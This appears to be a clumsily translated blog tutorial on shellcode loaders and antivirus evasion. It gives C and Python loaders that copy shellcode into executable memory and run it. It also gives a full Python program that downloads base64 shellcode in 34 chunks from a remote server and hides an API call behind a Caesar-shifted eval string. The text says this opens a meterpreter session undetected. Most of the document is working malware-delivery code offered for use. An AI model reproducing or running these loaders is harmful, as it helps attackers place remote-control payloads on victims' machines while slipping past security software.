What is shellcode?
In a hacker attack, shellcode is a short piece of code used to exploit software vulnerabilities as payloads. It is called "shellcode" because it usually starts a command shell from which an attacker can control a compromised computer, but any code that performs similar tasks can be called shellcode. Because the function of payload is not limited to shell generation, some people think that the name of shellcode is not rigorous enough. However, attempts to replace the term have not been widely accepted. Shell code is usually written in machine code.
C/C + + loading mode
#include "stdafx.h" #include "windows.h" using namespace std; int main(int argc, char **argv){ unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5" "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0; }
Python way
#!/usr/bin/python import ctypes shellcode=bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......") ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
How can we avoid killing?
1.shellcode is not written on a pure page
2. Multiple encoding methods of shellcode are confused
3.shellcode encrypts him
4. Add flower command to disturb AV analysis
5. Bypass the characteristic code of specific soft kill collection
Now let's get to the point
kali generates a shellcode
base64 encryption of our shellcode with python
Then I will divide the shellcode into 34 blocks and send a GET request using python's import requests to GET the shellcode stored on the Apache 2 server (not written on the page)
In the prepared Trojan shellcode program, if you use ctypes windll. kernel32. RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes. c_ Int (len (shellcode)), where the API function rtlmovememory has been recorded by tinder. Even if shellcode is encrypted by base 64
But 360 is exempt
Tinder means:
As long as RtlMoveMemory has this eigenvalue, I don't recognize my father
Then it's time for our Caesar code to work
What is the Caesar code?
Caesar encryption is to realize encryption and decryption by moving letters by A certain number of digits. All letters in plaintext are shifted backward (or forward) by A fixed number on the alphabet and replaced with ciphertext. For example, when the offset is 2, all letters B will be replaced with D, C will become E, and so on, Y will become A and Z will become B. It can be seen that the offset is the key of Caesar password encryption and decryption
Caesar encrypts the characteristic values collected by tinder
The corresponding is the ASCII of the string, plus the offset k
This is Caesar's decryption
The restored string is obtained from the execution effect
Use eval to load the restored shellcode obtained by Caesar decryption into memory
kali enable listening
python execution
The attacked host bounces the meterpreter. This process has been completed without any poison reporting. The shellcode is encrypted by base 64 and stored in our server. When it is loaded, it is decrypted to realize the separation of shellcode, and then the characteristic value of our Trojan horse is encrypted by Caesar. When eval, it is decrypted by Caesar, applied for memory and loaded into memory
The Base 64 encryption and decryption program is shown in the picture above. The complete main program is as follows:
# -*- coding:utf-8 -*- from ctypes import * import ctypes import sys, os, time, base64 import string import requests # shellcode String passing base64 The code is divided into 34 blocks and stored on a server# get the encoded shellcode string in the request mode res1 = requests.get("http://192.168.2.100/res1.txt") res2=requests.get("http://192.168.2.100/res2.txt") res3 = requests.get("http://192.168.2.100/res3.txt") res4 = requests.get("http://192.168.2.100/res4.txt") res5 = requests.get("http://192.168.2.100/res5.txt") res6 = requests.get("http://192.168.2.100/res6.txt") res7 = requests.get("http://192.168.2.100/res7.txt") res8 = requests.get("http://192.168.2.100/res8.txt") res9 = requests.get("http://192.168.2.100/res9.txt") res10 = requests.get("http://192.168.2.100/res10.txt") res11 = requests.get("http://192.168.2.100/res11.txt") res12 = requests.get("http://192.168.2.100/res12.txt") res13 = requests.get("http://192.168.2.100/res13.txt") res14 = requests.get("http://192.168.2.100/res14.txt") res15 = requests.get("http://192.168.2.100/res15.txt") res16 = requests.get("http://192.168.2.100/res16.txt") res17 = requests.get("http://192.168.2.100/res17.txt") res18 = requests.get("http://192.168.2.100/res18.txt") res19 = requests.get("http://192.168.2.100/res19.txt") res20 = requests.get("http://192.168.2.100/res20.txt") res21 = requests.get("http://192.168.2.100/res21.txt") res22 = requests.get("http://192.168.2.100/res22.txt") res23 = requests.get("http://192.168.2.100/res23.txt") res24 = requests.get("http://192.168.2.100/res24.txt") res25 = requests.get("http://192.168.2.100/res25.txt") res26 = requests.get("http://192.168.2.100/res26.txt") res27 = requests.get("http://192.168.2.100/res27.txt") res28 = requests.get("http://192.168.2.100/res28.txt") res29 = requests.get("http://192.168.2.100/res29.txt") res30 = requests.get("http://192.168.2.100/res30.txt") res31 = requests.get("http://192.168.2.100/res31.txt") res32 = requests.get("http://192.168.2.100/res32.txt") res33 = requests.get("http://192.168.2.100/res33.txt") res34 = requests.get("http://192.168.2.100/res34.txt") def main(): shellcode = base64.b64decode(res1.text + res2.text + res3.text + res4.text + res5.text + res6.text + res7.text + res8.text + res9.text + res10.text + res11.text + res12.text + res13.text + res14.text + res15.text + res16.text + res17.text + res18.text + res19.text + res20.text + res21.text + res22.text + res23.text + res24.text + res25.text + res26.text + res27.text + res28.text + res29.text + res30.text + res31.text + res32.text + res33.text + res34.text) kill = bytearray(shellcode) ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(kill)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char *len(kill)).from_buffer(kill) flag = [105, 122, 127, 118, 107, 121, 52, 125, 111, 116, 106, 114, 114, 52, 113, 107, 120, 116, 107, 114, 57, 56, 52, 88, 122, 114, 83, 117, 124, 107, 83, 107, 115, 117, 120, 127, 46, 105, 122, 127, 118, 107, 121, 52, 105, 101, 123, 111, 116, 122, 60, 58, 46, 118, 122, 120, 47, 50, 38, 104, 123, 108, 50, 38, 105, 122, 127, 118, 107, 121, 52, 105, 101, 111, 116, 122, 46, 114, 107, 116, 46, 113, 111, 114, 114, 47, 47, 47] flag1 = '' for i in flag: flag1 += chr((i) - 6) eval(flag1) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) if __name__ == '__main__': main()